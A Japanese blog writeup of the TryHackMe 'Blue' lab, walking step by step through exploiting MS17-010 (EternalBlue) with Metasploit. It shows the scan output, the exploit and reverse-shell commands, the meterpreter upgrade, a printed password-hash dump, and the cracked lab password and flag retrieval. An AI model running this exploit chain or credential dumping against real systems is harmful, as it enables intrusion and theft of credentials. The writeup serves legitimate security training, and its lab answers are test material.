TryHackMeのBlueというマシーンのWriteup。
Blueについて
Blueは、Windowsの権限昇格などに関するコース。
ウォークスルー形式なので、そこまで迷うことなくクリアできる。
基本的に、手動攻略ではなくMetasploitを使っての進行となる。
Task1
お題は、「1000以下の開放ポートの個数を調べる」「攻撃する脆弱性を見つける」というもの。
まず、ターゲットにポートスキャンする。
今回はnmapのvulnスクリプトを使用。
$nmap -sV --script vuln thm.local
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-23 14:21 JST
Nmap scan report for thm.local (10.10.203.67)
Host is up (0.26s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open ssl/ms-wbt-server?
| rdp-vuln-ms12-020:
| VULNERABLE:
| MS12-020 Remote Desktop Protocol Denial Of Service Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0152
| Risk factor: Medium CVSSv2: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:N/A:P)
| Remote Desktop Protocol vulnerability that could allow remote attackers to cause a denial of service.
|
| Disclosure date: 2012-03-13
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|
| MS12-020 Remote Desktop Protocol Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2012-0002
| Risk factor: High CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
| Remote Desktop Protocol vulnerability that could allow remote attackers to execute arbitrary code on the targeted system.
|
| Disclosure date: 2012-03-13
| References:
| http://technet.microsoft.com/en-us/security/bulletin/ms12-020
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0002
|_ssl-ccs-injection: No reply from server (TIMEOUT)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 235.55 seconds
ということで、
- 1000以下の開放ポートは3つ
- 攻撃する脆弱性はms17-010
でクリア。
Task2
Metasploitでリバースシェルを確立するのがミッション。
まずはMetasploitの起動。
$sudo msfdb init
$msfconsole
...
msf6>
次に、お題として「どのexploitを使う?」というのがある。
msfconsoleでexploitを検索する。
sf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
このように5つの候補が表示された。
これだけでは、どれがいいのかよくわからないが、正解は0番の exploit/windows/smb/ms17_010_eternalblue
なのでこれを使用する。
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >
ウォークスルー上では、このexploitにWindows_x64用のshell系ReverseShellペイロードを使うことが示されているので、そちらもセットする。
msf6 > show payloads
...
39 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
...
msf6 > set payload payload/windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
次のお題はオプションの設定。RHOSTSの値をターゲットのIPにセットする。
ついでに、ペイロード側のIPアドレス(攻撃端末)が設定されていなかったのでセット。
そして実行する。
msf6 > set RHOSTS 10.10.10.1
msf6 > set LHOST 10.10.10.2
msf6 > run
...
C:\Windows\system32>
でリバースシェル成功。
念のため補足すると、今回使ったEternalBlue脆弱性はランサムウェアが使ったことで有名だけれど、そのexploitの不安定さでも知られている。
割とシンプルなバッファオーバーフローだが、成功率はそんなに高いわけではない。
だからmetasploitでも結構な確率で失敗に終わるし、わけのわからない挙動になることもある。
とりあえずリトライすれば何とかなる。
Task3
Task3のお題は、確立したリバースシェルをmeterpreterのシェルに変換する。
meterpreterはいろいろな機能が加わったすごいシェルのこと。
まずはCTRL+Zで現在のシェルをバックグラウンドにする。
C:\Windows\system32>^Z
Background session 1? [y/N] y
msf6 exploit(windows/smb/ms17_010_eternalblue) >
つぎに、meterpreterのシェルをセットする必要があるので、そのパスを検索する。
msf6 exploit(windows/smb/ms17_010_eternalblue) > search shell_to_meterpreter
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade
そして、meterpreterのシェルをセットする。
msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) >
設定が必要な変数を確認。
msf6 post(multi/manage/shell_to_meterpreter) > show options
Module options (post/multi/manage/shell_to_meterpreter):
Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (Will try to au
to detect).
LPORT 4433 yes Port for payload to connect to.
SESSION yes The session to run this module on
SESSIONの値には、meterpreterに変換するシェルのSESSION IDを入れる。そして実行。
sessions -l
Active sessions
===============
Id Name Type Information
-- ---- ---- -----------
1 shell x64/windows Shell Banner: Microsoft Windows [Version
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
msf6 post(multi/manage/shell_to_meterpreter) > run
実行が終わればmeterpreterのセッションが確立したか確認して、そのセッションを表示。
> sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell x64/windows Shell Banner: Microsoft Windows [Versi 10.9.3.100:4444 -> 10.10.122.40:49172
on 6.1.7601] ----- (10.10.122.40)
2 shell x64/windows Shell Banner: Microsoft Windows [Versi 10.9.3.100:4444 -> 10.10.122.40:49197
on 6.1.7601] ----- (10.10.122.40)
3 meterpreter x86/windows NT AUTHORITY\SYSTEM @ JON-PC 10.9.3.100:4433 -> 10.10.122.40:49200
(10.10.122.40)
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 3
[*] Starting interaction with 3...
meterpreter >
(1回バグったのでmeterpreterのIDは3)
このTaskのお題としてmigrateするというのがあるけれど、それは割愛。
Task4
こちらのお題はパスワードの解析。
まずはmeterpreterでhashdumpを実行。
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
Jonのパスワードを求めよというお題が続く。
John the ripperで解析しようとしたが、うまくできなかった。
今回はCrack Stationを使う。
ということで答えはalqfna22。
Task5
flagを探すのがお題。探してダウンロードするだけなので簡単。
meterpreter > search -f *flag*
...
meterpreter > download "C:\...." /home/muchipopo/flag1.txt
...
これで終了。
まとめ
簡単なコースだと思う。
Metasploitの使い方をザックリ確認するために最適かもしれない。
コメント